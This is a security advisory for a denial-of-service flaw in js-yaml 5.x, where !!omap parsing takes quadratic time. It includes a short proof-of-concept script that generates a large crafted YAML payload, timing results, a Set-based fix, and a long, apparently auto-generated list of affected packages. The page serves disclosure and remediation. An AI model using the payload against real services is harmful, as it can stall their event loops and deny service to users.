CVE-2026-59870

About vulnerability

Summary

js-yaml v5.x introduces YAML11_SCHEMA support with the !!omap (ordered map) tag. The omapTag.addItem() function performs a linear O(n) scan for duplicate key detection on every insertion, resulting in O(n^2) total time to parse a document with n omap entries. An attacker can send a small crafted YAML document to trigger a multi-second CPU stall in any application that uses yaml.load() with { schema: yaml.YAML11_SCHEMA }.

Details

In src/tag/sequence/omap.ts (compiled: dist/js-yaml.cjs.js:510-525):

var omapTag = defineSequenceTag('tag:yaml.org,2002:omap', {
create: () => [],
addItem: (container, item) => {
// ...
for (const existing of container)   // O(n) per insertion!
if (hasOwnProperty(existing, itemKeys[0]))
return 'cannot resolve an ordered map item';
container.push(object);             // n insertions → O(n^2) total
return '';
}
});

For a document with n unique entries, insertion i scans i−1 existing entries, yielding 1+2+…+n = O(n²) total work.

PoC (runtime-confirmed on v5.2.0)

const yaml = require('js-yaml');
function buildOmapPayload(n) {
let p = '!!omap\n';
for (let i = 0; i < n; i++) p += '- key' + i + ': val' + i + '\n';
return p;
}
// Timing results on v5.2.0:
// n=1000:  9ms
// n=5000:  73ms  (5x n → 8x time)
// n=10000: 255ms (2x n → 3.5x time — supralinear)
// n=20000: 997ms (2x n → 3.9x time — O(n²) confirmed)
// n=50000: 10613ms          ← blocks event loop for >10 seconds
yaml.load(buildOmapPayload(50000), { schema: yaml.YAML11_SCHEMA });

Impact

Any application that parses untrusted YAML using yaml.load(input, { schema: yaml.YAML11_SCHEMA }) is vulnerable to Denial of Service. A ~2 MB payload of 50,000 entries blocks the Node.js event loop for 10+ seconds. Smaller payloads (5,000 entries, ~100 KB) already cause noticeable slowdowns (73 ms per parse, amplified under concurrent load).

This affects the newly released 5.x series (first published 2026-06-20) which adds YAML 1.1/1.2 schema support including !!omap. The 4.x series is unaffected (no YAML11_SCHEMA export).

Fix

Replace the O(n) linear scan in addItem with an O(1) Set-based lookup:

var omapTag = defineSequenceTag('tag:yaml.org,2002:omap', {
create: () => ({ list: [], seen: new Set() }),
addItem: (state, item) => {
const key = Object.keys(item)[0];
if (state.seen.has(key)) return 'duplicate omap key';
state.seen.add(key);
state.list.push(item);
return '';
},
resolve: (state) => state.list
});

Affected product:

AngularJS , Babel , Bouncy Castle , EndemolShineGroup/cosmiconfig-typescript-loader , Next.js , Node.js , React , Vue , adk-js , allure-js , apidevtools-json-schema-ref-parser , apollo , apollo-server , appium , apply-release-plan , assetgraph , astro , astrojs-cloudflare , astrojs-node , astrojs-react , astrojs-tailwind , async-storage , ava , aws-lambda , b4a , babel-eslint , babel-plugin-istanbul , bare-fs , bare-stream , berry , build , celo-celocli , changesets , changesets-release-utils , cli-ux , codeceptjs , commit-analyzer , commitlint , config , config-inspector , configstore , configure , confluent-kafka-javascript , cosmiconfig , cosmiconfig-typescript-loader , css-loader , cssnano , datadog-ci , db0 , devframe , devtools , documentation , docusaurus , docusaurus-babel , docusaurus-bundler , docusaurus-core , docusaurus-mdx-loader , docusaurus-plugin-content-blog , docusaurus-plugin-content-docs , docusaurus-plugin-content-pages , docusaurus-plugin-css-cascade-layers , docusaurus-plugin-debug , docusaurus-plugin-google-analytics , docusaurus-plugin-google-gtag , docusaurus-plugin-google-tag-manager , docusaurus-plugin-sitemap , docusaurus-plugin-svgr , docusaurus-theme-classic , docusaurus-theme-common , docusaurus-theme-search-algolia , docusaurus-utils , docusaurus-utils-validation , drizzle-orm , ecosystem , editor , electron-mocha , elements , ember-cli , eslint , eslint-community/eslint-utils , eslint-compat-utils , eslint-config-airbnb-base , eslint-config-ipfs , eslint-config-love , eslint-config-prettier , eslint-config-react-app , eslint-config-standard , eslint-etc , eslint-import-resolver-typescript , eslint-loader , eslint-plugin-compat , eslint-plugin-es , eslint-plugin-es-x , eslint-plugin-eslint-comments , eslint-plugin-etc , eslint-plugin-flowtype , eslint-plugin-ft-flow , eslint-plugin-import , eslint-plugin-jest , eslint-plugin-jest-dom , eslint-plugin-jsdoc , eslint-plugin-jsx-a11y , eslint-plugin-n , eslint-plugin-node , eslint-plugin-prettier , eslint-plugin-promise , eslint-plugin-react , eslint-plugin-react-native , eslint-plugin-standard , eslint-plugin-testing-library , eslint-plugin-vue , eslint-rewrite , eslint-utils , eslintrc , expo , expo-application , expo-camera , expo-cli , expo-device , expo-file-system , expo-glass-effect , expo-localization , expo-manifests , expo-module-scripts , expo-plugin-help , expo-updates , expo-updates-interface , expo-vector-icons , farm , farm-plugin-replace-dirname , fork-ts-checker-webpack-plugin , gateway , gatsby , get-workspaces , github , gp-js-client , graphql-code-generator , graphql-config , graphql-hive-envelop , graphql-hive-gateway , graphql-hive-gateway-runtime , graphql-hive-gateway-testing , graphql-hive-logger-pino , graphql-hive-plugin-aws-sigv4 , graphql-hive-plugin-opentelemetry , graphql-hive-router-runtime , graphql-language-service-server , graphql-mesh , graphql-mesh-cli , graphql-mesh-compose-cli , graphql-mesh-config , graphql-mesh-fusion-runtime , graphql-mesh-grpc , graphql-mesh-incontext-sdk-codegen , graphql-mesh-migrate-config-cli , graphql-mesh-plugin-opentelemetry , graphql-mesh-plugin-operation-headers , graphql-mesh-plugin-prometheus , graphql-mesh-transport-grpc , graphql-mesh-transport-http , graphql-mesh-transport-http-callback , graphql-tools , gray-matter , grunt , grunt-karma , hardhat , hermes , hey-api , hey-api-client-fetch , htmlnano , impound , istanbul , istanbuljs , istanbuljs-nyc-config-babel , jest , jest-chain-transform , jest-preset-angular , jest-repl , jest-specific-snapshot , jest-watch-typeahead , js-yaml , json-schema-ref-parser , karma-coverage-istanbul-reporter , kubernetes-client-node , lerna , lingui-babel-plugin-lingui-macro , lingui-conf , lingui-format-po , load-nyc-config , load-yaml-file , loopback , loopback-connector , loopback-connector-remote , loopback-datasource-juggler , loopback-phase , lottie-react-native , magic-js , manypkg , markdownlint-cli , masked-view , mastra , mastra-mcp , mastra-observability , material-ui , metalsmith , metamask-snaps-cli , metamask-snaps-jest , metro , microsoft-365-agents-toolkit , microsoft-api-documenter , middleware , mocha , modern.js , module-federation-core , module-federation/core , monorepo , netlify-build , netlify-cms , netlify-cms-app , netlify-cms-core , netlify-dev , newrelic-security-agent , nitro , nomicfoundation-hardhat-ethers , nostics , npm , nuxt , nyc , oas-normalize , oclif-plugin-autocomplete , oclif-plugin-not-found , oclif-plugin-plugins , oclif-plugin-warn-if-update-available , oclif/core , omnigraph-neo4j , onflow-fcl-react-native , op-sqlite , open-wc-testing-karma , open-wc-testing-karma-bs , openapi-typescript-codegen , optimize-css-assets-webpack-plugin , orval , oxc , packages , parcel-bundler , parse , pigment-css , plugin-commands , plugin-help , pnpm , postcss-load-config , postcss-load-options , postcss-load-plugins , postcss-loader , postcss-svgo , pre , preferred-pm , prettyhtml , puppeteer , read-yaml-file , readme-postman-to-openapi , redocly-cli , relay , release-notes-generator , remark-cli , remark-mdx-frontmatter , remix , rsbuild , rspress , rushstack , rushstack-eslint-config , rushstack-heft-node-rig , rushstack-heft-web-rig , rushstack-lockfile-explorer , rushstack-package-extractor , sanity , sanity-cli , sdk-typescript , semantic-release , semantic-release-changelog , semantic-release-git , sentry-browser , services , sharp , shifter , streamx , strong-globalize , strong-remoting , stylelint , stylelint-no-unsupported-browser-features , stylelint-scss , subfont , supertap , sveltedoc-parser , svgo , svgr , swagger , swagger-js , swagger-parser , tanstack-react-start , tanstack-react-start-rsc , tanstack-solid-start , tanstack-start-plugin-core , tapjs , tar-fs , tar-stream , teex , telemetry , testem , text-decoder , tldts , ts-jest , tslint , tslint-consistent-codestyle , typescript-eslint , unctx , unified-args , unified-engine , unimport , unplugin , unstorage , vechain-sdk-js , vercel , vercel-frameworks , vercel-fs-detectors , vercel-python-analysis , verdaccio , vetur , vite , vite-dev-rpc , vite-hot-client , vite-plugin-checker , vite-plugin-inspect , vite-plugin-istanbul , vite-plugin-react , vite-plugin-vue , vite-plugin-vue-inspector , vite-plugin-vue-tracer , vitefu , wdio-mocha-framework , web , web-infra-dev/modern.js , webdriverio , webpack-cli-generators , which-pm , wotan , wyw-in-js , xmlbuilder2 , yarnpkg-plugin-compat , yarnpkg-plugin-npm-cli , yarnpkg-plugin-pnp , yarnpkg-sdks , yarnpkg-shell , yeoman-generator , yeoman/environment , zephyr-packages

Affected packages:

expo-router @ 58.0.4 (+3958 more)